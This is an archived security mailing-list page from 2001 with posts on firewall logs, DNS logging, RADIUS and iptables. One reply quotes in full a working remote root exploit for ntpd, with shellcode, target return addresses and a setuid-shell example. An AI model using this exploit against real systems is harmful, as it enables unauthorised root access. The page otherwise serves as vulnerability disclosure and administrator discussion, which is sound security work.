Hi everyone, Since the 6th of april I am getting quite a lot of scans to port 113 from various ports 4331 4629 46409 46413 46422 and 1085 . I was able to find 1085 which is webobjects but the others I could not find any info. Can some one guide me what are these for or are they trojan ports TIA Apr 6 22:41:16 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:4331 212.156.196.226:113 L=60 S=0x00 I=21011 F=0x4000 T=59 SYN (#22) Apr 6 22:41:19 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:4331 212.156.196.226:113 L=60 S=0x00 I=21030 F=0x4000 T=59 SYN (#22) Apr 6 22:41:25 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:4331 212.156.196.226:113 L=60 S=0x00 I=21034 F=0x4000 T=59 SYN (#22) Apr 6 22:41:37 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:4331 212.156.196.226:113 L=60 S=0x00 I=21039 F=0x4000 T=59 SYN (#22) Apr 6 23:11:16 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:4629 212.156.196.226:113 L=60 S=0x00 I=40551 F=0x4000 T=59 SYN (#22) Apr 6 23:11:19 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:4629 212.156.196.226:113 L=60 S=0x00 I=40585 F=0x4000 T=59 SYN (#22) Apr 6 23:11:25 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:4629 212.156.196.226:113 L=60 S=0x00 I=40647 F=0x4000 T=59 SYN (#22) Apr 6 23:11:37 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:4629 212.156.196.226:113 L=60 S=0x00 I=40736 F=0x4000 T=59 SYN (#22) Apr 6 23:13:01 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 210.93.217.129:3895 212.156.196.226:111 L=60 S=0x00 I=15280 F=0x4000 T=39 SYN (#38) Apr 6 23:13:04 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 210.93.217.129:3895 212.156.196.226:111 L=60 S=0x00 I=16390 F=0x4000 T=39 SYN (#38) Apr 6 23:30:08 gardiyan kernel: Packet log: input DENY eth1 PROTO=17 212.216.224.236:137 212.156.196.226:137 L=78 S=0x00 I=57407 F=0x0000 T=103 (#38) Apr 6 23:30:10 gardiyan kernel: Packet log: input DENY eth1 PROTO=17 212.216.224.236:137 212.156.196.226:137 L=78 S=0x00 I=57663 F=0x0000 T=103 (#38) Apr 6 23:30:11 gardiyan kernel: Packet log: input DENY eth1 PROTO=17 212.216.224.236:137 212.156.196.226:137 L=78 S=0x00 I=57919 F=0x0000 T=103 (#38) Apr 6 23:30:31 gardiyan kernel: Packet log: input DENY eth1 PROTO=17 212.216.224.236:137 212.156.196.226:137 L=78 S=0x00 I=61247 F=0x0000 T=103 (#38) Apr 6 23:30:32 gardiyan kernel: Packet log: input DENY eth1 PROTO=17 212.216.224.236:137 212.156.196.226:137 L=78 S=0x00 I=61503 F=0x0000 T=103 (#38) Apr 6 23:30:34 gardiyan kernel: Packet log: input DENY eth1 PROTO=17 212.216.224.236:137 212.156.196.226:137 L=78 S=0x00 I=61759 F=0x0000 T=103 (#38) Apr 6 23:41:54 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 211.92.50.170:21 212.156.196.226:21 L=40 S=0x00 I=39426 F=0x0000 T=13 SYN (#38) Apr 7 00:15:16 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 193.140.140.104:46409 212.156.196.226:113 L=60 S=0x00 I=0 F=0x4000 T=59 SYN (#22) Apr 7 00:15:25 gardiyan last message repeated 2 times Apr 7 00:17:17 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 193.140.140.104:46413 212.156.196.226:113 L=60 S=0x00 I=0 F=0x4000 T=59 SYN (#22) Apr 7 00:17:25 gardiyan last message repeated 2 times Apr 7 00:18:47 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 193.140.140.104:46422 212.156.196.226:113 L=60 S=0x00 I=0 F=0x4000 T=59 SYN (#22) Apr 7 00:18:56 gardiyan last message repeated 2 times Apr 7 00:26:16 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:1085 212.156.196.226:113 L=60 S=0x00 I=17580 F=0x4000 T=58 SYN (#22) Apr 7 00:26:19 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:1085 212.156.196.226:113 L=60 S=0x00 I=17612 F=0x4000 T=58 SYN (#22) Apr 7 00:26:25 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:1085 212.156.196.226:113 L=60 S=0x00 I=17679 F=0x4000 T=58 SYN (#22) Apr 7 00:26:37 gardiyan kernel: Packet log: input DENY eth1 PROTO=6 212.45.64.105:1085 212.156.196.226:113 L=60 S=0x00 I=17755 F=0x4000 T=58 SYN (#22) -- Togan Muftuoglu

2 1

port 2301
by Morsal Roudbay 06 Apr '01

06 Apr '01

According to my log files someone has been scanning port 2301 for several weeks now on my server... I couldnt find this port in my port list so I wonder what it is used for. Thanks. /Morsal

4 5

Fw: Scripts to DNS resolve firewall logs?
by Geordon VanTassle 06 Apr '01

06 Apr '01

DOes anyone have/know where I can get a script that I can run my firewall log through in order to DNS resolve it? TIA, Geordon

1 0

xntpd
by Roman Drahtmueller 06 Apr '01

06 Apr '01

Hi together, Most of the packages are already out on the ftp server at the usual location. I wanted to encourage users to upgrade the package asap. We're almost done with the packages, while some few are still building. In particular, the packages for 6.3 and 7.0 are missing. Get the 7.0 packages from my directory on ftp.suse.com/pub/people/draht/7.0 . The announcement will be there later today. Thanks, Roman. -- - - | Roman Drahtmüller <draht(a)suse.de> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - -

1 0

Compartments / MAC
by Stefan Hoffmeister 06 Apr '01

06 Apr '01

Hi, is there any in depth discussion about compartments / mandatory access control out there that discusses risks and benefits? I am currently not running any outside services on my tiny personal LAN for two reasons: a) It makes me nervous. VERY nervous, indeed. b) I am too lazy / don't have the time to track all security issues that could affect the service I am running. That in turn causes a) to kick in :-> On the other hand, I would like to run a H.323 gatekeeper (e.g. the one at http://www.opengatekeeper.org/) at least temporarily, for personal use. I might also be interested in (at least temporarily) exposing Apache with some DSOs to the outside world. All this I will only consider, though, if the risk of doing it is *very* low. Is my understanding of compartments correct in that they will allow me to lock down a given "service" to a minimal set of user / group rights, thus reducing the effect of any (potential) security issues in the "service"? I am under the impression that I would have to use finer grained MAC (ACL patches / LIDS) to restrict the feature set a service may use? Assuming that my compartments and / or MACs are setup correctly that all external services run in a compartment / are under MAC, which kinds of risks would I still be exposed to, and to which extent?

2 1

Re: ntpd =< 4.0.99k remote buffer overflow
by Vadim Kouzmine 06 Apr '01

06 Apr '01

Xmm... It's seems works on SuSE 7.1... Vadim ----- Original Message ----- From: "Przemyslaw Frasunek" <venglin(a)FREEBSD.LUBLIN.PL> To: <BUGTRAQ(a)SECURITYFOCUS.COM> Sent: Wednesday, April 04, 2001 4:27 PM Subject: ntpd =< 4.0.99k remote buffer overflow > /* ntpd remote root exploit / babcia padlina ltd. <venglin(a)freebsd.lublin.pl> */ > > /* > * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable > * to remote buffer overflow attack. It occurs when building response for > * a query with large readvar argument. In almost all cases, ntpd is running > * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver. > * > * Althought it's a normal buffer overflow, exploiting it is much harder. > * Destination buffer is accidentally damaged, when attack is performed, so > * shellcode can't be larger than approx. 70 bytes. This proof of concept code > * uses small execve() shellcode to run /tmp/sh binary. Full remote attack > * is possible. > * > * NTP is stateless UDP based protocol, so all malicious queries can be > * spoofed. > * > * Example of use on generic RedHat 7.0 box: > * > * [venglin@cipsko venglin]$ cat dupa.c > * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); } > * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c > * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c > * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost > * ntpdx v1.0 by venglin(a)freebsd.lublin.pl > * > * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh) > * > * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query > * [1] <- evil query (pkt = 512 | shell = 45) > * [2] <- null query (pkt = 12) > * Done. > * /tmp/sh was spawned. > * [venglin@cipsko venglin]$ ls -al /bin/bash > * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash > * > */ > > #include <stdio.h> > #include <stdlib.h> > #include <stdarg.h> > #include <string.h> > #include <sys/types.h> > #include <sys/socket.h> > #include <netinet/in.h> > #include <netdb.h> > #include <unistd.h> > #include <arpa/inet.h> > > #define NOP 0x90 > #define ADDRS 8 > #define PKTSIZ 512 > > static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>"; > > /* generic execve() shellcodes */ > > char lin_execve[] = > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" > "\x80\xe8\xdc\xff\xff\xff/tmp/sh"; > > char bsd_execve[] = > "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" > "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" > "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01" > "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; > > struct platforms > { > char *os; > char *version; > char *code; > long ret; > int align; > int shalign; > int port; > }; > > /* Platforms. Notice, that on FreeBSD shellcode must be placed in packet > * *after* RET address. This values will vary from platform to platform. > */ > > struct platforms targ[] = > { > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > 0xbfbff8bc, 200, 220, 0 }, > > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > 0xbfbff540, 200, 220, 0 }, > > { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve, > 0xbffff777, 240, 160, 0 }, > > { NULL, NULL, NULL, 0x0, 0, 0, 0 } > }; > > long getip(name) > char *name; > { > struct hostent *hp; > long ip; > extern int h_errno; > > if ((ip = inet_addr(name)) < 0) > { > if (!(hp = gethostbyname(name))) > { > fprintf(stderr, "gethostbyname(): %s\n", > strerror(h_errno)); > exit(1); > } > memcpy(&ip, (hp->h_addr), 4); > } > > return ip; > } > > int doquery(host, ret, shellcode, align, shalign) > char *host, *shellcode; > long ret; > int align, shalign; > { > /* tcpdump-based reverse engineering :)) */ > > char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61, > 0x74, 0x75, 0x6d, 0x3d }; > > char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00 }; > > char buf[PKTSIZ], *p; > long *ap; > int i; > > int sockfd; > struct sockaddr_in sa; > > bzero(&sa, sizeof(sa)); > > sa.sin_family = AF_INET; > sa.sin_port = htons(123); > sa.sin_addr.s_addr = getip(host); > > if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) > { > perror("socket"); > return -1; > } > > if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0) > { > perror("connect"); > close(sockfd); > return -1; > } > > memset(buf, NOP, PKTSIZ); > memcpy(buf, q2, sizeof(q2)); > > p = buf + align; > ap = (unsigned long *)p; > > for(i=0;i<ADDRS/4;i++) > *ap++ = ret; > > p = (char *)ap; > > memcpy(buf+shalign, shellcode, strlen(shellcode)); > > if((write(sockfd, buf, PKTSIZ)) < 0) > { > perror("write"); > close(sockfd); > return -1; > } > > fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ, > strlen(shellcode)); > fflush(stderr); > > if ((write(sockfd, q3, sizeof(q3))) < 0) > { > perror("write"); > close(sockfd); > return -1; > } > > fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3)); > fflush(stderr); > > close(sockfd); > > return 0; > } > > int main(argc, argv) > int argc; > char **argv; > { > extern int optind, opterr; > extern char *optarg; > int ch, type, ofs, i; > long ret; > > opterr = ofs = 0; > type = -1; > > while ((ch = getopt(argc, argv, "t:o:")) != -1) > switch((char)ch) > { > case 't': > type = atoi(optarg); > break; > > case 'o': > ofs = atoi(optarg); > break; > > case '?': > default: > puts(usage); > exit(0); > > } > > argc -= optind; > argv += optind; > > fprintf(stderr, "ntpdx v1.0 by venglin(a)freebsd.lublin.pl\n\n"); > > if (type < 0) > { > fprintf(stderr, "Please select platform:\n"); > for (i=0;targ[i].os;i++) > { > fprintf(stderr, "\t-t %d : %s %s (%p)\n", i, > targ[i].os, targ[i].version, (void *)targ[i].ret); > } > > exit(0); > } > > fprintf(stderr, "Selected platform: %s with ntpd %s\n\n", > targ[type].os, targ[type].version); > > ret = targ[type].ret; > ret += ofs; > > if (argc != 1) > { > puts(usage); > exit(0); > } > > fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n", > (void *)ret, targ[type].align, targ[type].shalign); > > if (doquery(*argv, ret, targ[type].code, targ[type].align, > targ[type].shalign) < 0) > { > fprintf(stderr, "Failed.\n"); > exit(1); > } > > fprintf(stderr, "Done.\n"); > > if (!targ[type].port) > { > fprintf(stderr, "/tmp/sh was spawned.\n"); > exit(0); > } > > exit(0); > } > > -- > * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE * > * Inet: przemyslaw(a)frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF * >

5 4

Request on Port 515
by Jan Räther 06 Apr '01

06 Apr '01

Hi, in the last few days i got several request on my firewall box like: Apr 4 17:22:58 router kernel: Packet log: input DENY ippp0 PROTO=6 xxx.xxx.xxx.xxx::3737 xxx.xxx.xxx.xxx:515 L=60 S=0x00 I=21162 F=0x4000 T=48 SYN (#37) what the hell is that? in /etc/services i found: printer 515/udp # spooler so is someone trying to "print" something on my printer or what??? Jan [?][!] newtention technologies gmbh // rathausallee 72-76 // 22846 norderstedt mailto: jan(a)newtention.de // http://www.newtention.de phone: 040-5 54 45 89 - 3 // mobil: 0178-4777948 // fax: 040-5 54 45 89 - 9 ----- The day Microsoft makes something that doesn't suck, is probably the day Microsoft starts making vacuum cleaners.

5 6

Re: [suse-security] Bind
by Emmerich Eggler 05 Apr '01

05 Apr '01

"Hipolito A. Gonzalez M." wrote: > > emm(a)eggler.ch wrote: > > > At Mon, 2 Apr 2001 15:19:38 +0200 , "Reckhard, Tobias" > > <Reckhard(a)secunet.de> wrote: > > > >> Check out the contents of /usr/share/doc/packages/bind8. BIND's > >> logging > >> config is way beyond the scope of this list. > >> > > sure. but it's no secret and trivial: named -d 9 starts bind the > > noisy way. > > > Thank you my friend, but, where is stored the log? In > /var/log/messages nothing appear. is your syslog running? do you have any __explicit__ log configuration (other than syslog) in your named.boot? as far as i know, suse's named logs via syslog. if yours isn't, than it might mean: a) you are not using suse's named/syslog combination b) your syslog is not started c) you changed "something" on your host's config regards emmerich

3 3

SuSEfirewall does not start
by Stephan Dankers 05 Apr '01

05 Apr '01

Hello everybody, I'm trying to get the SuSEfirewall (Linux 7.1, Kernel 2.2.18) starting. I am new to Linux and firewalls, so maybe one of the profs, can tell me, what's wrong with my configuration and what the warning message from insmod means, when booting the computer Is it okay, that the firewall starts before the network adapters are set up ? Here is an excerpt of the boot.msg file in /var/log ============== START boot.msg ============== Inspecting /boot/System.map-2.2.18 . . . Loaded 10080 symbols from /boot/System.map-2.2.18. Symbols match kernel version 2.2.18. . . . INIT: Entering runlevel: 3 Boot logging started at Thu Apr 5 18:05:42 2001 Master Resource Control: previous runlevel: N, switching to runlevel: 3 Starting Firewall Initialization: (phase 1 of 3) (run 2 of 3) insmod: Warning: /lib/modules/2.2.18/net/3c90x.o parameter switchdelay has max < min! Warning: interface eth0 is not active. Warning: interface eth1 is not active. No interfaces active! exiting ... SuSEfirewall: clearing rules now ... done failed Initializing random number generator done Setting up network device eth0 done Setting up network device eth1 done Setting up routing (using /etc/route.conf) done Starting Firewall Initialization: (phase 2 of 3) . . . Starting inetd done Starting Firewall Initialization: (phase 3 of 3) Master Resource Control: runlevel 3 has been reached Failed services in runlevel 3: SuSEfirewall_init SuSEfirewall_setup SuSEfirewall_final ============== END boot.msg ============== Thanks Stephan

2 1

WG: [suse-security] Radius and dynamic IP address allocation
by Battisti Markus 05 Apr '01

05 Apr '01

<Hi, <we are using the radius daemon (cistron "radiusd") for authentication of <dial-in clients accessing through a cisco access server. <At the moment we use static IP address assignment. < <Does anybody know whether the radius server permits IP address pool <configuration? <The dial-in clients shall get a dynamic assigned IP address from a pool. ooh its hell i know ..... i use this radius server http://www.freeradius.org/ its well documented and runns with moust routers and its a livingston 2.0 implementation ! (read the doc at livingston!) i made this with a bintec xm2 dialinrouter you must import the dictionary in to radius read the docs from the router dont forget radius is just authentification ! this is a sample config with dymic ip adresses for bintec with the right dictionary i think somwhere in the cisco doc you find it ..... # users file DEFAULT Auth-Type = System, Group = "interne" Framed-Protocol = PPP, Framed-MTU = 1500, Framed-IP-Netmask = 255.255.255.255, Service-Type = Framed, Port-Limit = 2, BinTec-biboPPPTable = "IpPoolId=3", BinTec-biboPPPTable = "IpAddress=dynamic_server", BinTec-biboPPPTable = "DNSNegotiation=dynamic_server", BinTec-ipExtIfTable = "Accounting=on", BinTec-biboPPPTable = "ShortHold=0", BinTec-ipExtIfTable = "ProxyArp=off", BinTec-biboPPPTable = "VJHeaderComp=enabled", Idle-Timeout = 3600, hope it helps.... ,,, /'^'\ ( o o ) oOOO--(_)--OOOo---------------------- Mit Freundlichen Grüssen/Best Regards proTask Consulting /"\ Battisti Markus \ / ASCII Ribbon Campaign Marktplatz 7 X Against HTML Mail A-6850 Dornbirn / \ http://www.protask.at mailto:markus.battisti@protask.cc PGP key available on request This message was sent using 100% recyclable electrons

1 0

newbie question
by webmaster＠oggi.it 05 Apr '01

05 Apr '01

Hello, in my little lan i must configure a linux firewall with 3 eth cards: eth0 ( xxx.xxx.xxx.yyy ) <---> to internet router ( xxx,xxx.xxx.xxx ) eth1 ( 192.168.1.1 ) <---> to my internal lan (192.168.1.0 ) eth2 ( 192.168.2.1 ) <---> to my dmz lan ( 192.168.2.0 ) How can i set the iptables firewall for natting my dmz HTTP xxx.xxx.xxx.hhh ) and SMTP ( xxx.xxx.xxx.sss )??? I've tryed with .. ..................... iptables -t nat -A POSTROUTING -s 192.168.2.hhh -o eth0 -j SNAT --to-source xxx.xxx.xxx.hhh iptables -t nat -A PREROUTING -i eth0 -d xxx.xxx.xxx.hhh -j DNAT --to 192.168.2.hhh ..................... with no results ... I apologize for my bad english and my poor "linux know-how" Thank you in advance, Mario

2 2

Radius and dynamic IP address allocation
by Spiegel Thomas-CTS059 05 Apr '01

05 Apr '01

Hi, we are using the radius daemon (cistron "radiusd") for authentication of dial-in clients accessing through a cisco access server. At the moment we use static IP address assignment. Does anybody know whether the radius server permits IP address pool configuration? The dial-in clients shall get a dynamic assigned IP address from a pool. Thomas Spiegel -------------- Motorola GSD, ANDC Berlin e-mail: thomas.spiegel(a)motorola.com

2 1

O byte mails
by Togan Muftuoglu 05 Apr '01

05 Apr '01

Hi Everyone, From time to time I have been receiving 0 byte emails send by people with domain ending of mine domain rc82.org which are always to undisclosed recipients. I have already placed the following in hosts.deny. Can someone guide me what is going on ? I am using sendmail 8.11.2 that comes with Suse 7.1 SENDMAIL : ALL EXCEPT LOCAL 192.168.1.0/255.255.255.0 TIA -- Togan Muftuoglu Return-Path: toganm(a)pop.vip.sc5.yahoo.com> Received: from localhost (localhost [127.0.0.1]) by isguzar.dyndns.org (8.11.2/8.10.2/SuSE Linux 8.10.0-0.3)\ with ESMTP id f352Lof02700 for <toganm@localhost>; Thu, 5 Apr 2001 05:21:50 +0300 Message-ID: <200104050221.f352Lof02700(a)isguzar.dyndns.org> X-Apparently-To: toganm(a)yahoo.com via web3705 X-Track: 1: 40 Received: from pop.vip.sc5.yahoo.com [216.136.173.10] by localhost with POP3 (fetchmail-5.6.5)\ for toganm@localhost (single-drop); Thu, 05Apr 2001 05:21:50 +0300 (EEST) Received: from usw-sf-fw2.sourceforge.net (EHLO usw-sf-list1.sourceforge.net) (216.136.171.252)\ by mta454.mail.yahoo.com with SMTP; 04 Apr 2001 19:16:59 -0700 (PDT) Received: from host1.suse.com ([202.58.118.3] helo=lists.suse.com) by usw-sf-list1.sourceforge.net\ with smtp (Exim 3.22 #1 (Debian)) id 14kzKS-0004Xu-00 for <toganm(a)users.sourceforge.net>; \ Wed, 04 Apr 2001 19:16:56 -0700 Received: (qmail 2990 invoked by alias); 5 Apr 2001 02:16:39 -0000 Mailing-List: contact suse-security-help(a)suse.com; run by ezmlm Precedence: bulk X-No-Archive: yes list-help: <mailto:suse-security-help@lists.suse.com> list-unsubscribe: <mailto:suse-security-unsubscribe@lists.suse.com> list-post: <mailto:suse-security@suse.com> X-Mailinglist:suse-security Delivered-To: mailing list suse-security(a)lists.suse.com Received: qmail 2983 invoked from network); 5 Apr 2001 02:16:39 -0000 Date: Wed, 4 Apr 2001 22:54:03 +0200 From: Gerharnceñ-.(a)rc82.org To:undisclosed-recipients:; X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000

1 0

Re: [suse-security] Bind]
by Philippe Wiede 04 Apr '01

04 Apr '01

Thanks Ashley for your discovery! I also had trouble getting any version of Bind 9 to log as it used to log in previous versions (using common logging statements in named.conf). Missing any user reports in corresponding newsgroups I thought I was the only one with this problem! It seems to me that this is a bug in bind 9.xx. Between named restarts, either it logs nothing at all, or only logs lame dns entries, or only logs queries, but always without a trace of logic. And to all of above, Bind 9 truncates its log file each time after each reload. Commenting out category "default" indeed seems to convince Bind 9 to log normally at last. Greets, Philippe Wiede pw(a)megapublic.com Ashley wrote: > > I discoverd (the hard way) in SuSE 7.1 the /etc/named.conf file by default > does not log anything of category 'default', which is basically everything > you are trying to log. Comment out the appropriate line and syslog will > get bind8 messages as it should: > > In /etc/named.conf: > # > # do not be verbose about these problems... > # > logging { > # category default { null; }; ### comment out this line ### > category lame-servers { null; }; > category cname { null; }; > };

2 3

Lindose Virus in Linux? Lion Worm?
by John P Carroll 04 Apr '01

04 Apr '01

From: Woody's Office Watch <wow-robot(a)woodyswatch.com> Date: Wed, 4 Apr 2001 12:35:01 -0400 Subject: Woody's OFFICE Watch #6.17 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 10. IN VIRUS VERITAS From my favorite virus curmudgeon, Rob Rosenberger, http://www.vmyths.com Do you use Eudora instead of Outlook? Beware. A hacker can silently install software on your PC if you merely open an email. Do you use Linux instead of Windows? Beware. The "Lion" worm -- yet another variant of the "Ramen" worm -- can install itself on your system. It will send your password file to the People's Repubic of China, among other things. Do you use Linux AND Windows? Beware. The "Lindose" virus can pollinate itself across both operating system platforms. Do you use Netscape instead of Internet Explorer? Beware. Do you use Notes instead of Exchange? Beware. Do you use Macintosh instead of Windows? Beware. Do you use... Well, you get the hint. I almost feel sorry for non-Microsoft users at a time like this. Almost. For example, consider the plight of ActionAid. A story in The Register (http://www.theregister.co.uk/content/8/17629.html) says the poverty relief group is on the verge of switching to Linux "as a way of avoiding the viruses that continuously assault its Windows PCs." ActionAid's IT director, Kerry Scott, apparently believes Linux will give his charity the "'virus free' computing" it so desperately needs. When I read the story, I thought to myself, "what about the Ramen worm?" Now Scott will need to fret about the Lion worm and the Lindose virus. Tomorrow he'll need to fret about something else. This leads me to an important point. You can't blame your security problems on the operating system you use, or on the email software you use, or on the browser you use. Switching to another operating system or email package or browser causes a bunch of headaches -- and it still doesn't solve your real problem. Your real problem is the Internet iself. No matter how unique you make your computer, you negate it the instant you hook up to the ultra-common Internet. ActionAid can't blame Microsoft for the network cable snaking out of their boxes. Scott must unplug everything if he truly wants to reduce his virus nightmare. Our computers grow more common every day. Windows may be the most common operating system now, but something will replace it someday. Linux? Java? The web browser itself? Who knows. But whatever comes next will bring with it even more commonality. The Internet iself is the true 'common' threat. Blaming Microsoft for today's virus problem is like blaming one cloud for the damage of a hurricane. What will you blame tomorrow? So smile the next time someone says "you're a fool for using Windows and Outlook." Tell them, "I use Microsoft products just to avoid those dangerous Linux worms and Macintosh viruses." ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj.

2 1

RE: [suse-security] Bind
by Raffy 04 Apr '01

04 Apr '01

> Isn't bind chroot'ed in 7.1? If so, named wouldn't have access to > the /dev/log socket so it wouldn't make sense to have any entries in > /etc/syslogd.conf for it. Proper chrooting will create a new logging device (socket) in the chroot environment. Then just start syslog with the new socket (option -a) and it will log perfectly! > I guess I should get around to installing 7.1 someday ;) Just update your bind! Thanks Raffy

2 1

martian source trouble
by rene.marhold 04 Apr '01

04 Apr '01

since the last 3 days following messages Apr 3 07:05:30 mail kernel: martian source 0100007f for fe6111d4, dev eth1 Apr 3 07:45:59 mail kernel: martian source 0100007f for 0c21bad4, dev eth1 Apr 3 07:52:00 mail kernel: martian source 0100007f for fe6111d4, dev eth1 Apr 3 11:53:22 mail kernel: martian source 0100007f for fe6111d4, dev eth1 Apr 3 13:44:13 mail kernel: martian source 0100007f for fe6111d4, dev eth1 Apr 3 15:27:45 mail kernel: martian source c6e9fea9 for c6e9fea9, dev eth0 Apr 3 15:27:53 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 15:27:53 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 15:27:53 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 15:27:53 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 15:27:53 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 15:27:53 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 15:27:54 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 15:27:54 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 15:27:54 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 15:27:55 mail kernel: martian source c6e9fea9 for fffffea9, dev eth0 Apr 3 18:13:38 mail kernel: martian source 0100007f for fe6111d4, dev eth1 Apr 3 19:32:07 mail kernel: martian source 0100007f for fe6111d4, dev eth1 Apr 3 20:39:31 mail kernel: martian source 0100007f for 0c21bad4, dev eth1 Apr 3 21:10:36 mail kernel: martian source 0100007f for 4c38bad4, dev eth1 Apr 4 04:17:31 mail kernel: martian source 0100007f for fe6111d4, dev eth1 Apr 4 06:06:43 mail kernel: martian source 0100007f for fe6111d4, dev eth1 Apr 4 07:26:26 mail kernel: martian source 0100007f for 0c21bad4, dev eth1 no topology change in internal lan (same hardware) is this an hacker??? or an hardware defect from somewhere???

2 1

Re: [suse-security] martian source trouble
by rene.marhold 04 Apr '01

04 Apr '01

Sorry i´ve forgotten, eth0 is my internal eth and eth1 is externally ----- Original Message ----- From: "Andrés Tarallo" <atarallo(a)chasque.apc.org> To: "rene.marhold" <rene(a)mail.marhold.net> Sent: Wednesday, April 04, 2001 4:26 PM Subject: Re: [suse-security] martian source trouble > "rene.marhold" wrote: > > > > since the last 3 days following messages > > > > Apr 3 07:05:30 mail kernel: martian source 0100007f for fe6111d4, dev eth1 > > Apr 3 07:45:59 mail kernel: martian source 0100007f for 0c21bad4, dev eth1 > > Apr 3 07:52:00 mail kernel: martian source 0100007f for fe6111d4, dev eth1 > > There's a computer in your network that haves a wrong address; what's > called "Martian address" > > Bye > Andres >

1 0

Antwort: [suse-security] dns zone x-fers on tcp 53
by Stefan_Walther＠gehag-dsk.de 04 Apr '01

04 Apr '01

hi, you do not need to install the pri dns in the dmz. you can install your pri dns in your lan and communicate through the dmz with the sec dns at your isp. you only need the ip of your sec dns at the isp and set the rules(chains or tables: ipchains or iptables) at your firewalls that only the pri dns (ip-address) can communicate with the sec dns (also ip-address required) at your isp and the other way around. MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: 030/89786448 Funk: 0172/3943961

1 0

harden_suse
by Ralf Freisinger 03 Apr '01

03 Apr '01

Hello All, i've some probs with the harden_suse package! First after installing this package the sshd don't run any more, there are no keys left! Further, it isn't possible to connect squid on any port it will be configured! Unfortunately i can not remove harden_suse because the undo script in etc isn't left, don't no why?? i wanted to secure the firewall an configure a transparent proxy with squid -> no chance! Any ideas? Thanks Ralf PS: i'm using an SuSE 2.4.2 Kernel

1 0

secumod
by Ralf Freisinger 03 Apr '01

03 Apr '01

Hallo all, i've installed the secumod packet, but there is no module called secumod.o. Is there someone out there who can tell me where i can find this module. I've tried to recompile the Kernel, with secumod enabled, but there isn't any option to enable this in the Kernel. Greetings Ralf

5 4

secumod
by Ralf Freisinger 03 Apr '01

03 Apr '01

